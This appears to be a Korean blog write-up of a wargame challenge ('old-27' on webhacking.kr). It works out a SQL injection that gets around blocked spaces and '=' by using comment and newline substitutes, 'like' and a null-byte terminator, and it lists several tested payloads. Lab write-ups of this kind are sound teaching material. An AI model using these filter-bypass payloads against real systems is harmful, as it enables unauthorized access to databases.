SQL Injection 문제다.
no에 # select ( 공백 limit = 0x 를 필터링 하고 있다. 주석으로 admin의 no가 2라고 알려주고 있다.
우선 id가 'guest'로 고정되어 있는데, 이것을 무력화해야 한다. 그러기 위해서는 id='guest'와 and로 묶인 no값을 조정해야 한다.
1을 넣고 입력했더니 guest라고 나온다. 위에서 언급한 대로 2는 admin의 no인 모양인지 query error가 뜬다. 0을 넣었더니 아무런 결과가 나오지 않는다.
select id from chall27 where id='guest' and no=(여기에 무언가를 넣어야 한다.)
결과의 id가 'guest'가 나오지 않도록 no에 0이나 2 등의 값을 넣고 그 뒤에 or을 사용한다. 공백을 필터링하므로 /**/나 %0a 등을 사용하고 등호(=)도 필터링하므로 like로 우회한다.
0)/**/or%0ano%0alike%0a2;%00 >> 통과
0)/**/or/**/no/**/like/**/2;%00 >> 통과
2)/**/or/**/no/**/like/**/2;%00 >> 통과
0)/**/or%0ano%0a>%0a1;%00 >> 불통
'SISS > Webhacking.kr' 카테고리의 다른 글
old-49(300) (0) | 2020.10.31 |
---|---|
old-48(350) (0) | 2020.10.04 |
old-11(300) (0) | 2020.09.26 |
old-07(300) (0) | 2020.09.20 |
old-32(150) (0) | 2020.09.10 |